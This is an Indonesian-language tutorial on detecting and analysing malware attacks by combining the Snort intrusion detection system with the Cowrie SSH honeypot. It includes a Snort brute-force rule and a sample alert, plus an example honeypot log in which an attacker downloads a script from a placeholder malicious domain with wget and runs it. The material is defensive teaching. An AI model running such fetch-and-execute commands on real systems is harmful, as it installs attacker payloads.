Analisis Serangan Malware dengan Menggunakan Snort dan Honeypot Cowrie

Serangan malware semakin meningkat seiring berkembangnya teknologi dan konektivitas jaringan. Organisasi perlu menerapkan mekanisme deteksi dini untuk mengidentifikasi aktivitas mencurigakan secara cepat dan efisien. Dua solusi populer yang banyak digunakan adalah Snort, sebuah Network Intrusion Detection System (NIDS), dan Cowrie, sebuah SSH/Telnet honeypot yang dirancang untuk memancing serta merekam aktivitas penyerang.

Kombinasi Snort dan Cowrie memungkinkan analisis serangan dilakukan secara komprehensif baik dari sisi jaringan maupun sisi interaksi penyerang, sehingga sangat efektif dalam memahami pola serangan malware modern.

2. Snort sebagai Sistem Deteksi Intrusi (NIDS)

2.1 Pengertian Snort

Snort adalah aplikasi NIDS open-source yang mampu:

• melakukan analisis paket jaringan secara real-time,
• mendeteksi dan mencegah intrusi,
• menghasilkan alert berdasarkan rule tertentu.

2.2 Cara Kerja Snort

Snort bekerja dengan tiga komponen utama:

1. Packet Decoder – membaca setiap paket yang masuk.
2. Detection Engine – mencocokkan paket dengan rule.
3. Alert dan Logging System – menyimpan hasil deteksi dalam bentuk log.

2.3 Peran Snort dalam Analisis Malware

Dalam konteks analisis malware, Snort digunakan untuk:

• mendeteksi aktivitas jaringan mencurigakan seperti port scanning, brute force, atau hubungan outbound tidak wajar,
• mengidentifikasi signature malware berdasarkan rule,
• memonitor payload yang mengindikasikan eksploitasi kerentanan.

Contoh rule sederhana untuk mendeteksi akses SSH mencurigakan:

Plain Text

snort isn’t fully supported. Syntax highlighting is based on Plain Text.

alert tcp any any -> any 22 (msg:"Possible SSH Brute Force"; flow:to_server; detection_filter: track by_src, count 5, seconds 60; sid:100001;)

Show more lines

Rule tersebut akan memicu alert jika terdapat percobaan login SSH berulang dari sumber yang sama.

3. Honeypot Cowrie sebagai Simulasi Sistem Rentan

3.1 Pengertian Cowrie

Cowrie adalah honeypot tingkat tinggi yang mensimulasikan layanan:

• SSH,
• Telnet,
• serta filesystem palsu yang mirip Unix/Linux asli.

Tujuan utamanya adalah:

• memancing penyerang untuk berinteraksi,
• merekam command yang dijalankan,
• menyimpan file malware yang diunggah oleh attacker.

3.2 Cara Kerja Cowrie

Cowrie bekerja sebagai sistem tiruan. Saat penyerang berhasil “login”, mereka tidak mengetahui bahwa:

• password dibuat mudah atau bocor dengan sengaja,
• filesystem hanyalah replika,
• setiap aksi direkam secara detail.

Cowrie dapat mencatat:

• IP penyerang,
• command yang dijalankan,
• file berbahaya (malware) yang di-upload,
• percobaan eksploitasi.

4. Integrasi Snort dan Cowrie untuk Analisis Serangan Malware

4.1 Alur Integrasi

1. Snort mendeteksi dan mencatat aktivitas jaringan yang mengarah ke port/layanan yang diproyeksikan ke Cowrie.
2. Jika aktivitas mencurigakan muncul (misalnya brute force), Snort menghasilkan alert.
3. Pada saat yang sama, Cowrie menerima koneksi penyerang dan merekam seluruh interaksi.
4. File malware yang diunggah ke honeypot dapat dianalisis lebih lanjut.
5. Korelasi antara alert Snort dan log Cowrie memberikan gambaran lengkap mengenai tahapan serangan.

5. Contoh Analisis Serangan Malware

5.1 Tahap 1: Deteksi Aktivitas oleh Snort

Contoh alert Snort:

[**] [1:100001:1] Possible SSH Brute Force [**]

04/10-15:23:11.245678 192.168.1.50:44562 -> 10.0.0.20:22

Dari alert tersebut dapat diketahui:

• adanya brute force login SSH,
• asal serangan berasal dari IP tertentu,
• serangan berlangsung berulang kali.

5.2 Tahap 2: Interaksi Penyerang dengan Cowrie

Log Cowrie biasanya menunjukkan:

• password yang dicoba penyerang,
• command yang dijalankan,
• file yang di-upload.

Contoh cuplikan log:

CMD: wget http://malicious-domain.xyz/payload.sh

CMD: chmod +x payload.sh

CMD: ./payload.sh

5.3 Tahap 3: Analisis Malware

File payload.sh dapat diperiksa:

• apakah berisi dropper,
• apakah mencoba menambang crypto (cryptominer),
• apakah memasang backdoor.

Analisis statis dan dinamis dapat dilakukan menggunakan:

• VirusTotal,
• Cuckoo Sandbox,
• strings,
• static analysis tools.

6. Manfaat Penggunaan Snort + Cowrie

Keunggulan utama kombinasi ini:

• Deteksi dini aktivitas serangan melalui Snort.
• Perekaman komprehensif aktivitas penyerang melalui Cowrie.
• Identifikasi pola serangan malware dengan mudah.
• Mendapatkan sampel malware secara real-time dari penyerang.
• Meningkatkan keamanan jaringan dengan memahami metode serangan terbaru.

7. Kesimpulan

Penggunaan Snort dan honeypot Cowrie secara terintegrasi memberikan pendekatan efektif untuk menganalisis serangan malware. Snort berfungsi sebagai sistem deteksi jaringan yang mampu mencatat aktivitas mencurigakan, sementara Cowrie menangkap interaksi penyerang dan file berbahaya secara detail. Dengan memadukan log kedua sistem, analis keamanan dapat memahami strategi penyerang, jenis malware yang digunakan, serta melakukan mitigasi yang lebih tepat terhadap ancaman serupa di masa depan.